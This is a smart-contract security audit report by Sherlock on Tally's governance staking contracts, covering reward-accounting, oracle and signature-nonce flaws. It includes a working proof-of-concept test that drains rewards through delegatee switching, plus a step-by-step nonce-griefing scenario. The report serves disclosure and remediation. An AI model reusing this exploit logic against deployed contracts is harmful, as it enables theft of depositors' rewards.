SHERLOCK

Security Review For Tally

Collaborative Audit Prepared For: **Tally**
Lead Security Expert(s): **cergyk**
Spearmint
Jokr

Date Audited: **December 2nd - December 6th**
Final Commit: **fda09a661bbe1b5800fa72f52d6367de46740551**

Introduction

Tally is the industry standard for driving long-term protocol success. Foundations, delegates, and token holders use Tally to manage $60+ billion in value for onchain protocols.

Scope

Repository: withtally/govstaking

Commit hash: a1d4835286b89d0e6a4f0e7e44343b3bb4a098c5

Contracts:

- src/GovernanceStaker.sol
- src/extensions/GovernanceStakerDelegateSurrogateVotes.sol
- src/extensions/GovernanceStakerPermitAndStake.sol
- src/extensions/GovernanceStakerOnBehalf.sol
- src/DelegationSurrogateVotes.sol
- src/DelegationSurrogate.sol
- src/BinaryEligibilityOracleEarningPowerCalculator.sol

Final Commit Hash

https://github.com/withtally/govstaking/commit/fda09a661bbe1b5800fa72f52d6367de46740551

Findings

Each issue has an assigned severity:

- Medium issues are security vulnerabilities that may not be directly exploitable or may require certain conditions in order to be exploited. All major issues should be addressed.
- High issues are directly exploitable security vulnerabilities that need to be fixed.
- Low/Info issues are non-exploitable, informational findings that do not pose a security risk or impact the system's integrity. These issues are typically cosmetic or related to compliance requirements, and are not considered a priority for remediation.

Issues Found

High	Medium	Low/Info
2	0	9

Issues Not Fixed or Acknowledged

High	Medium	Low/Info
0	0	3

Issue H-1: _requestedTip is not deduced from depositor rewards as intended

Source: https://github.com/sherlock-audit/2024-11-tally/issues/33

Description

`GovernanceStaker` introduces the concept of bumping earning power to control the amount of rewards claimable by depositors who delegate to inactive delegatees.

The `bumpEarningPower` function enables keepers to update earningPower on behalf of depositors, and take a fee to do so.

GovernanceStaker.sol#L508:

```
// Send tip to the receiver
SafeERC20.safeTransfer(REWARD_TOKEN, _tipReceiver, _requestedTip);
```

Some checks are done to ensure that depositor has enough rewards so that the `_requestedTip` can be covered out of the rewards.

GovernanceStaker.sol#L489-L497:

```
if (_newEarningPower > deposit.earningPower && _unclaimedRewards < _requestedTip) {
  revert GovernanceStaker__InsufficientUnclaimedRewards();
}


// Note: underflow causes a revert if the requested  tip is more than unclaimed
↪  rewards
if (_newEarningPower < deposit.earningPower && (_unclaimedRewards - _requestedTip)
↪  < maxBumpTip)
{
  revert GovernanceStaker__InsufficientUnclaimedRewards();
}
```

Unfortunately, the requested tip is never deducted from the depositor rewards. Which means that the accounting is incorrect, and some legitimate participants would not be able to claim their rewards.

Impact

Rewards are denied to legitimate participants (rewards insolvency)

Recommendation

Consider subtracting the tip from the depositor rewards:

GovernanceStaker.sol#L508:

```
    // Send tip to the receiver
    SafeERC20.safeTransfer(REWARD_TOKEN, _tipReceiver, _requestedTip);
+   deposit.scaledUnclaimedRewardCheckpoint =
+      deposit.scaledUnclaimedRewardCheckpoint - (_requestedTip * SCALE_FACTOR);
```

Discussion

alexkeating

Will fix

CergyK

Fixed by https://github.com/withtally/staker/pull/87

Issue H-2: Updating earning power for deposit without checkpointing rewards can lead to draining of all rewards

Source: https://github.com/sherlock-audit/2024-11-tally/issues/31

Description

When the earning power (total or per deposit) changes, rewards are checkpointed to avoid manipulation. Unfortunately for the functions `alterDelegatee` and `alterClaimer` the rewards are not updated and this can lead draining of rewards for all participants as described in the scenario below

Scenario

Pre-conditions

- `BinaryEligibilityOracleEarningPowerCalculator` is used as earning power calculator
- There exists one delegatee `D_valid` which has a 100 score, and a delegatee `D_invalid` with a zero score.
- Alice has a position of balance `500` delegated to `D_valid`
- Total earning power in `GovernanceStaker` is `1000`

Steps Some time passes and Alice is eligible for rewards, instead of claiming them directly, Alice does the following:

- Alice delegates her position to `D_invalid`, total earning power becomes `500`
- Alice checkpoints global rewards (for example Alice can create a small new position)
- Alice delegates her position to `D_valid`, her earning power is now `500` but `rewardsPerTokenAccumulated` has been computed with `totalEarningPower` being 500. This means Alice claims the rewards which were meant for all participants.

> Please note that Unistaker does not checkpoint rewards for `alterDelegatee` and `alterClaimer` but it is safe in doing so, because these functions do not modify individual earning powers.

Impact

All of the rewards available at a given time can be drained by a malicious depositor

Recommendation

Please consider adding checkpointing of rewards to `_alterDelegatee` and `_alterClaimer`:

GovernanceStaker.sol#L619-L624:

```
  function _alterDelegatee(
    Deposit storage deposit,
    DepositIdentifier _depositId,
    address _newDelegatee
  ) internal virtual {
    _revertIfAddressZero(_newDelegatee);

+   _checkpointGlobalReward();
+   _checkpointReward(deposit);
```

GovernanceStaker.sol#L645-L650:

```
  function _alterClaimer(
    Deposit storage deposit,
    DepositIdentifier _depositId,
    address _newClaimer
  ) internal virtual {
    _revertIfAddressZero(_newClaimer);

+   _checkpointGlobalReward();
+   _checkpointReward(deposit);
```

Discussion

alexkeating

I am having trouble recreating this draining scenario via a test. Is there something I am doing wrong here from the stated scenario, or do you have a test that proves this behavior?

```
function test\_x() public {
  earningPowerCalculator.\_\_setEarningPowerForDelegatee(address(0x1), 0);
  earningPowerCalculator.\_\_setEarningPowerForDelegatee(address(0x2), 500e18);

  address \_doe = makeAddr("doe");
  \_mintGovToken(\_doe, 500e18);
  \_stake(\_doe, 500e18, address(0x2));
```

```
  address \_fox = makeAddr("fox");
  \_mintGovToken(\_fox, 500e18);
  \_stake(\_fox, 500e18, address(0x2));

  rewardToken.mint(rewardNotifier, 1\_000\_000e18);
  // The contract is notified of a reward
  vm.startPrank(rewardNotifier);
  rewardToken.transfer(address(govStaker), 1\_000\_000e18);
  govStaker.notifyRewardAmount(1\_000\_000e18);
  vm.stopPrank();

  vm.prank(\_fox);
  govStaker.alterDelegatee(GovernanceStaker.DepositIdentifier.wrap(1),
  ↪  address(0x1));

  \_mintGovToken(\_fox, 0);
  \_stake(\_fox, 0, address(0x1));

  \_jumpAhead(100);

  vm.prank(\_fox);
  govStaker.alterDelegatee(GovernanceStaker.DepositIdentifier.wrap(1),
  ↪  address(0x2));

  console2.logUint(govStaker.unclaimedReward(GovernanceStaker.DepositIdentifier.wra
  ↪  p(0)));
  console2.logUint(govStaker.unclaimedReward(GovernanceStaker.DepositIdentifier.wra
  ↪  p(1)));

  vm.prank(\_fox);
  govStaker.claimReward(GovernanceStaker.DepositIdentifier.wrap(1));

  console2.logUint(govStaker.unclaimedReward(GovernanceStaker.DepositIdentifier.wra
  ↪  p(0)));
  console2.logUint(govStaker.unclaimedReward(GovernanceStaker.DepositIdentifier.wra
  ↪  p(1)));

  vm.prank(\_doe);
  govStaker.claimReward(GovernanceStaker.DepositIdentifier.wrap(0));

  console2.logUint(rewardToken.balanceOf(\_doe));
  console2.logUint(rewardToken.balanceOf(\_fox));
}
```

CergyK

Thanks for creating this test.

Here are the updated/commented tests which demonstrate the manipulation (and compare against expected behavior). The mistake in your test was calling `\_jumpAhead`

after the manipulation, which made the manipulation useless (attempt to checkpoint global rewards when none had accumulated yet).

```
function test\_manipulation() public {
  earningPowerCalculator.\_\_setEarningPowerForDelegatee(address(0x1), 0);
  earningPowerCalculator.\_\_setEarningPowerForDelegatee(address(0x2), 500e18);

  address \_doe = makeAddr("doe");
  \_mintGovToken(\_doe, 500e18);
  \_stake(\_doe, 500e18, address(0x2));

  address \_fox = makeAddr("fox");

  //!audit-ok Step 1, fox deposits with full earning power
  \_mintGovToken(\_fox, 500e18);
  \_stake(\_fox, 500e18, address(0x2));

  //!audit-ok some rewards are sent
  rewardToken.mint(rewardNotifier, 1\_000\_000e18);
  // The contract is notified of a reward
  vm.startPrank(rewardNotifier);
  rewardToken.transfer(address(govStaker), 1\_000\_000e18);
  govStaker.notifyRewardAmount(1\_000\_000e18);
  vm.stopPrank();

  //!audit-ok some time passes and fox becomes eligible
  \_jumpAhead(100);

  /*
  * Begin manipulation
  */

  //!audit-ok fox alters delegatee
  vm.prank(\_fox);
  govStaker.alterDelegatee(GovernanceStaker.DepositIdentifier.wrap(1),
↪  address(0x1));

  //!audit-ok fox checkpoints global rewards
  \_mintGovToken(\_fox, 0);
  \_stake(\_fox, 0, address(0x1));

  //!audit-ok fox alters back to valid delegatee
  vm.prank(\_fox);
  govStaker.alterDelegatee(GovernanceStaker.DepositIdentifier.wrap(1),
↪  address(0x2));

  /*
  * End manipulation
  */
```

```
  console2.logUint(govStaker.unclaimedReward(GovernanceStaker.DepositIdentifier.wra
↪  p(0)));
  console2.logUint(govStaker.unclaimedReward(GovernanceStaker.DepositIdentifier.wra
↪  p(1)));

  //!audit-ok fox claims double the rewards
  vm.prank(\_fox);
  govStaker.claimReward(GovernanceStaker.DepositIdentifier.wrap(1));

  console2.logUint(govStaker.unclaimedReward(GovernanceStaker.DepositIdentifier.wra
↪  p(0)));
  console2.logUint(govStaker.unclaimedReward(GovernanceStaker.DepositIdentifier.wra
↪  p(1)));

  //!audit-ok doe claims double the rewards (the share inflation is valid for
↪  everybody)
  vm.prank(\_doe);
  govStaker.claimReward(GovernanceStaker.DepositIdentifier.wrap(0));

  console2.logUint(rewardToken.balanceOf(\_doe)); // 38580246913580246913
  console2.logUint(rewardToken.balanceOf(\_fox)); // 38580246913580246913
}

function test\_no\_manipulation() public {
  earningPowerCalculator.\_\_setEarningPowerForDelegatee(address(0x1), 0);
  earningPowerCalculator.\_\_setEarningPowerForDelegatee(address(0x2), 500e18);

  address \_doe = makeAddr("doe");
  \_mintGovToken(\_doe, 500e18);
  \_stake(\_doe, 500e18, address(0x2));

  address \_fox = makeAddr("fox");

  //!audit-ok Step 1, fox deposits with full earning power
  \_mintGovToken(\_fox, 500e18);
  \_stake(\_fox, 500e18, address(0x2));

  //!audit-ok some rewards are sent
  rewardToken.mint(rewardNotifier, 1\_000\_000e18);
  // The contract is notified of a reward
  vm.startPrank(rewardNotifier);
  rewardToken.transfer(address(govStaker), 1\_000\_000e18);
  govStaker.notifyRewardAmount(1\_000\_000e18);
  vm.stopPrank();

  //!audit-ok some time passes and fox becomes eligible
  \_jumpAhead(100);

  /*
  * No manipulation
```

```
  */

  console2.logUint(govStaker.unclaimedReward(GovernanceStaker.DepositIdentifier.wra
↪  p(0)));
  console2.logUint(govStaker.unclaimedReward(GovernanceStaker.DepositIdentifier.wra
↪  p(1)));

  //!audit-ok fox claims normal rewards
  vm.prank(\_fox);
  govStaker.claimReward(GovernanceStaker.DepositIdentifier.wrap(1));

  console2.logUint(govStaker.unclaimedReward(GovernanceStaker.DepositIdentifier.wra
↪  p(0)));
  console2.logUint(govStaker.unclaimedReward(GovernanceStaker.DepositIdentifier.wra
↪  p(1)));

  //!audit-ok doe claims normal rewards
  vm.prank(\_doe);
  govStaker.claimReward(GovernanceStaker.DepositIdentifier.wrap(0));

  console2.logUint(rewardToken.balanceOf(\_doe)); // 19290123456790123456
  console2.logUint(rewardToken.balanceOf(\_fox)); // 19290123456790123456
}
```

alexkeating

Will fix

CergyK

Fixed by https://github.com/withtally/staker/pull/88

Issue L-1: Frequently bumping to increase earning power may eat depositor rewards

Source: https://github.com/sherlock-audit/2024-11-tally/issues/42

Description

The bump mechanism is intended to incentivize keepers to update depositors earning power in exchange for a fee. We can see that in the case the earning power is increased, the keeper can take the whole rewards intended for the depositor :

GovernanceStaker.sol#L489-L491:

```
if (_newEarningPower > deposit.earningPower && _unclaimedRewards < _requestedTip) {
    revert GovernanceStaker__InsufficientUnclaimedRewards();
}
```

The only constraint is that `_requestedTip` should be lower than `maxBumpTip`.

GovernanceStaker.sol#L473:

```
if (_requestedTip > maxBumpTip) revert GovernanceStaker__InvalidTip();
```

> This behavior may be expected and may not be a problem with the current implementation of calculator `BinaryBinaryEligibilityOracleEarningPowerCalculator`, but future implementations may have a more continuous formula for earning power which would result in the ability to bump earning power more frequently.

Impact

Depositor rewards are stolen by keepers

Recommendation

Multiple mitigations may envisioned:

- Design `_isQualifiedForBump` calculation in the calculator in order to rate limit bumping
- Limit bump tip to a fraction of rewards in the increase case

Discussion

alexkeating

Will document

CergyK

Documented in https://github.com/withtally/staker/pull/90

Issue L-2: Earning power is close to `type(uint96).max`, any upscaling can brick functionality

Source: https://github.com/sherlock-audit/2024-11-tally/issues/41

Description

Earning power is considered to be homogenous to governance token balances, and as such should be well within bounds of `uint96`. The provided calculator implementation `BinaryEligibilityOracleEarningPowerCalculator` returns at most the balance for a deposit. However the earning power should be able to reach `type(uint96).max` if new calculator implementations apply multipliers (in the magnitude of x1000) to a deposit balance.

Recommendation

Document this limitation/restriction for future calculator implementations.

Discussion

alexkeating

Will document

CergyK

Documented in https://github.com/withtally/staker/pull/90

Issue L-3: Unused import `DelegationSurrogateVotes`

Source: https://github.com/sherlock-audit/2024-11-tally/issues/40

Description

`DelegationSurrogateVotes` is imported in `GovernanceStaker.sol` but is never used

```
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.8.23;

import {DelegationSurrogate} from "src/DelegationSurrogate.sol";
//@audit unused import
import {DelegationSurrogateVotes} from "src/DelegationSurrogateVotes.sol";
import {INotifiableRewardReceiver} from
↪  "src/interfaces/INotifiableRewardReceiver.sol";
```

Discussion

alexkeating

Will fix

CergyK

Fixed by https://github.com/withtally/staker/pull/89

Issue L-4: Oracle begins in stale state due to uninitialized `lastOracleUpdateTime`

Source: https://github.com/sherlock-audit/2024-11-tally/issues/39

Description

In the context of `BinaryEligibilityOracleEarningPowerCalculator`, `lastOracleUpdateTime` is used to determine if the oracle setting the scores for individual delegatees is stale. Unfortunately this value is not set in the constructor, meaning the oracle begins in the stale state. This means that a user can initialize many deposits which have max earning power right after calculator creation. Unless these deposits are bumped using `requestedTip == 0`, these deposits will be valid when rewards are first notified and will be eligible for rewards.

BinaryEligibilityOracleEarningPowerCalculator.sol#L109-L122:

```
constructor(
    address _owner,
    address _scoreOracle,
    uint256 _staleOracleWindow,
    address _oraclePauseGuardian,
    uint256 _delegateeScoreEligibilityThreshold,
    uint256 _updateEligibilityDelay
  ) Ownable(_owner) {
    _setScoreOracle(_scoreOracle);
    STALE_ORACLE_WINDOW = _staleOracleWindow;
    _setOraclePauseGuardian(_oraclePauseGuardian);
    _setDelegateeScoreEligibilityThreshold(_delegateeScoreEligibilityThreshold);
    _setUpdateEligibilityDelay(_updateEligibilityDelay);
    //@audit missing lastOracleUpdateTime initialization
  }
```

Recommendation

Please consider initializing `lastOracleUpdateTime`, to avoid it being stale at the start:

BinaryEligibilityOracleEarningPowerCalculator.sol#L109-L122:

```
constructor(
    address _owner,
    address _scoreOracle,
    uint256 _staleOracleWindow,
    address _oraclePauseGuardian,
    uint256 _delegateeScoreEligibilityThreshold,
    uint256 _updateEligibilityDelay
```

```
  ) Ownable(_owner) {
    _setScoreOracle(_scoreOracle);
    STALE_ORACLE_WINDOW = _staleOracleWindow;
    _setOraclePauseGuardian(_oraclePauseGuardian);
    _setDelegateeScoreEligibilityThreshold(_delegateeScoreEligibilityThreshold);
    _setUpdateEligibilityDelay(_updateEligibilityDelay);
+   lastOracleUpdateTime = block.timestamp;
  }
```

Discussion

alexkeating

Will fix

CergyK

Fixed by https://github.com/withtally/staker/pull/89

Issue L-5: Increasing delegate eligibility score will make some delegatees instantly bumpable (skipping grace period)

Source: https://github.com/sherlock-audit/2024-11-tally/issues/37

The protocol team has acknowledged this issue.

Description

The `BinaryEligibilityOracleEarningPowerCalculator` determines the earning power for a delegatee to be either 0 or 100% depending on the score of the delegatee is greater or below a threshold. When a delegatee first crosses below the threshold, a grace period is applied in order for the delegatee to not be instantly punished by a bump which would incentivize delegators to delegate to another.

BinaryEligibilityOracleEarningPowerCalculator.sol#L234-L242:

```
function _updateDelegateeScore(address _delegatee, uint256 _newScore) internal {
    uint256 _oldScore = delegateeScores[_delegatee];
    bool _previouslyEligible = _oldScore >= delegateeEligibilityThresholdScore;
    bool _newlyEligible = _newScore >= delegateeEligibilityThresholdScore;
    emit DelegateeScoreUpdated(_delegatee, _oldScore, _newScore);
    // Record the time if the new score crosses the eligibility threshold.
>>  if (_previouslyEligible && !_newlyEligible) timeOfIneligibility[_delegatee] =
↪   block.timestamp;
    delegateeScores[_delegatee] = _newScore;
}
```

BinaryEligibilityOracleEarningPowerCalculator.sol#L153-L157:

```
    if (!_isDelegateeEligible(_delegatee)) {
      bool _isUpdateDelayElapsed =
>>      (timeOfIneligibility[_delegatee] + updateEligibilityDelay) <=
↪   block.timestamp;
      return (0, _isUpdateDelayElapsed);
    }
```

However we can note that in the case the delegate eligibility score is updated, the criteria to see if the delegatee has just become ineligible returns `false`. This means that the calculator will consider that the delegatee was previously ineligible and the grace period will not apply

Recommendation

Please consider adding a timestamp `lastEligibilityScoreUpdated` which should also be compared against when determining grace period.

Discussion

alexkeating

Wont fix

Issue L-6: Deposits can be maliciously bumped when oracle becomes stale/paused

Source: https://github.com/sherlock-audit/2024-11-tally/issues/36

The protocol team has acknowledged this issue.

Summary

When the score oracle in `BinaryEligibilityOracleEarningPowerCalculator.sol` becomes stale or paused, `_amountStaked` is returned as the earning power instead of the old earning power. As a result, a keeper can bump all ineligible deposits to eligible deposits when the oracle becomes stale/paused and bump them back to ineligible once the oracle becomes fresh/unpaused.

Vulnerability Detail

1. Let's say there are 1,000 deposits delegated to ineligible delegatees, so their earning powers are currently zero.
2. Due to some reason, the oracle becomes stale or paused.
3. In this situation, the `getNewEarningPower` function of the binary eligibility calculator returns `_amountStaked` as the earning power instead of zero because of the following line:

```
if (_isOracleStale() || isOraclePaused) return (_amountStaked, true);
```

4. As a result, keepers can bump all these ineligible deposits, as their earning powers change from zero to non-zero, and collect bump tips.
5. Once the oracle becomes normal again, those deposits can be bumped back, changing their earning powers from non-zero to zero, allowing keepers to extract bump tips again.

Impact

Deposits lose their rewards unfairly.

Code Snippet

```
function getNewEarningPower(
    uint256 _amountStaked,
    address, /* _staker */
```

```
    address _delegatee,
    uint256 /* _oldEarningPower */
  ) external view returns (uint256, bool) {
    // @audit-issue
    if (_isOracleStale() || isOraclePaused) return (_amountStaked, true);

    if (!_isDelegateeEligible(_delegatee)) {
      bool _isUpdateDelayElapsed = (timeOfIneligibility[_delegatee] +
↪   updateEligibilityDelay) <= block.timestamp;
      return (0, _isUpdateDelayElapsed);
    }

    return (_amountStaked, true);
  }
```

Tool used

Manual Review

Recommendation

Return `_oldEarningPower` when oracle becomes stale or paused.

Discussion

alexkeating

We believe the severity should be lowered to low/info. In this scenario depositors that want to avoid the extra bump fee will have the `updateEligibilityDelay` to switch their delegatee before being bumped down again. As mentioned if the oracle becomes malicious `oldEarningPower` could be destructive to the system. For example, if the oracle gives earning power to a set of malicious delegates than depositors would be incentivized to delegate to those malicious delegates.

alexkeating

Wont fix

Issue L-7: Increasing the earning power of a deposit may fail in certain cases

Source: https://github.com/sherlock-audit/2024-11-tally/issues/35

The protocol team has acknowledged this issue.

Summary

Bumping to increase the earning power of a deposit might fail in valid scenarios.

Vulnerability Detail

Consider a case where the earning power of a deposit is zero, but a few unclaimed rewards exist for the deposit. The user claims the rewards, where a portion is deducted as a claiming fee, and the remaining amount is received by the user. At this point, there will be no more unclaimed rewards.

However, if the delegate of the deposit later becomes eligible, the deposit needs to be bumped to increase its earning power. Since there are no unclaimed rewards in the deposit, the `bumpEarningPower` function would revert due to the following check:

```
if (_newEarningPower > deposit.earningPower && _unclaimedRewards < _requestedTip) {
  revert GovernanceStaker__InsufficientUnclaimedRewards();
}
```

Impact

It is important to bump the deposit immediately when the delegate becomes eligible. However, due to the issue mentioned above, this fails, and the user loses rewards until they manually interact with their deposit. Note that `claimRewards` would also fail, so the user must use any other action such as `withdraw`, `stakeMore` or `alter` functions to update the deposit state in order to increase its earning power.

Code Snippet

https://github.com/sherlock-audit/2024-11-tally/blob/main/govstaking/src/GovernanceStaker.sol#L489-L491

Tool used

Manual Review

Recommendation

Add a check in the `claimReward` function to ensure that at least an amount equivalent to `maxBumpTip` remains in the deposit

Discussion

alexkeating

We believe this is a non issue. The check would not revert if requested tip is 0 when rewards are 0, and a depositor can bump their own deposit without having to do any of the actions mentioned.

jokrsec

I believe that would cause issues because:

1. No one would call bumpEarningPower for a 0 tip.
2. While it's true that a user could bump it with a 0 tip, this still requires the user to monitor and take action (like mentioned in the report)

alexkeating

Wont fix

Issue L-8: `_calculateTotalEarningPower` formula can be simplified

Source: https://github.com/sherlock-audit/2024-11-tally/issues/34

Description

`_calculateTotalEarningPower` can be simplified to the equivalent formula:

GovernanceStaker.sol#L759-L768:

```
  function _calculateTotalEarningPower(
    uint256 _depositOldEarningPower,
    uint256 _depositNewEarningPower,
    uint256 _totalEarningPower
  ) internal pure returns (uint256 _newTotalEarningPower) {
-    if (_depositNewEarningPower >= _depositOldEarningPower) {
-      return _totalEarningPower + (_depositNewEarningPower -
 ↪  _depositOldEarningPower);
-    }
-    return _totalEarningPower - (_depositOldEarningPower -
 ↪  _depositNewEarningPower);
+    return _totalEarningPower + _depositNewEarningPower - _depositOldEarningPower;
  }
```

Discussion

alexkeating

Will fix

CergyK

Fixed by https://github.com/withtally/staker/pull/89

Issue L-9: GovernanceStakerOnBehalf nonces can be consumed for any address by any depositor

Source: https://github.com/sherlock-audit/2024-11-tally/issues/32

Description

`GovernanceStakerOnBehalf` enables to carry actions on deposits on behalf of another user. These actions can be carried by using off-chain signatures, and nonces are implemented in order to avoid signature replay, which is a standard protection.

However for the endpoint `claimRewardOnBehalf`, it is not clear if the signature provided is one of the claimer of the deposit or owner of the deposit (both are accepted).

The signature for the claimer of the deposit is tested first, but it uses the nonce even if the signature is invalid for the claimer: GovernanceStakerOnBehalf.sol#L259:

```
  function claimRewardOnBehalf(
    DepositIdentifier _depositId,
    uint256 _deadline,
    bytes memory _signature
  ) external virtual returns (uint256) {
    _revertIfPastDeadline(_deadline);
    Deposit storage deposit = deposits[_depositId];
    bytes32 _claimerHash = _hashTypedDataV4(
      keccak256(
>>      abi.encode(CLAIM_REWARD_TYPEHASH, _depositId, _useNonce(deposit.claimer),
↪   _deadline)
      )
    );

    ...
  }
```

Nonces.sol#L28-L35:

```
function _useNonce(address owner) internal virtual returns (uint256) {
    // For each account, the nonce has an initial value of 0, can only be
↪   incremented by one, and cannot be
    // decremented or reset. This guarantees that the nonce never overflows.
    unchecked {
        // It is important to do x++ and not ++x here.
        return _nonces[owner]++;
    }
```

```
}
```

Scenario

A depositor Bob can bump any nonce for any address Alice by:

In one transaction: 1/ Setting Alice as a claimer for a deposit Bob owns 2/ Call `claimRewardsOnBehalfOf` with Bob signature 3/ Reset claimer to Bob controlled address.

Impact

Any action done on `GovernanceStakerOnBehalf` can be DOSed by a malicious actor bumping the nonce on behalf of the victim user

Recommendation

Only use the nonce when the signature has been confirmed as valid. Here instead of `_useNonce`, the function `nonces()` can be used to get the nonce:

GovernanceStakerOnBehalf.sol#L259:

```
  function claimRewardOnBehalf(
    DepositIdentifier _depositId,
    uint256 _deadline,
    bytes memory _signature
  ) external virtual returns (uint256) {
    _revertIfPastDeadline(_deadline);
    Deposit storage deposit = deposits[_depositId];
    bytes32 _claimerHash = _hashTypedDataV4(
      keccak256(
-       abi.encode(CLAIM_REWARD_TYPEHASH, _depositId, _useNonce(deposit.claimer),
 ↪  _deadline)
+       abi.encode(CLAIM_REWARD_TYPEHASH, _depositId, nonces(deposit.claimer),
 ↪  _deadline)
      )
    );

    ...
  }
```

And then the nonce should be used once the signature has been validated

Discussion

alexkeating

We believe the severity of this issue should be lowered to low/info because any action can be triggered without an on behalf call. Also, a defender can somewhat mitigate this issue. An attacker must have claimable rewards greater than the fee amount, and in order to attack an address the attacker must allow the defender to claim their fees. In order to stop the ddos the defender could claim the attackers fees thus preventing the attacker from successfully calling claimRewardOnBehalf.

CergyK

True, given the preconditions and the unfrequent opportunity to trigger the bug (due to the claiming fee), we can safely downgrade this to low

alexkeating

Will fix

CergyK

Fixed by https://github.com/withtally/staker/pull/89

Disclaimers

Sherlock does not provide guarantees nor warranties relating to the security of the project.

Usage of all smart contract software is at the respective users' sole risk and is the users' responsibility.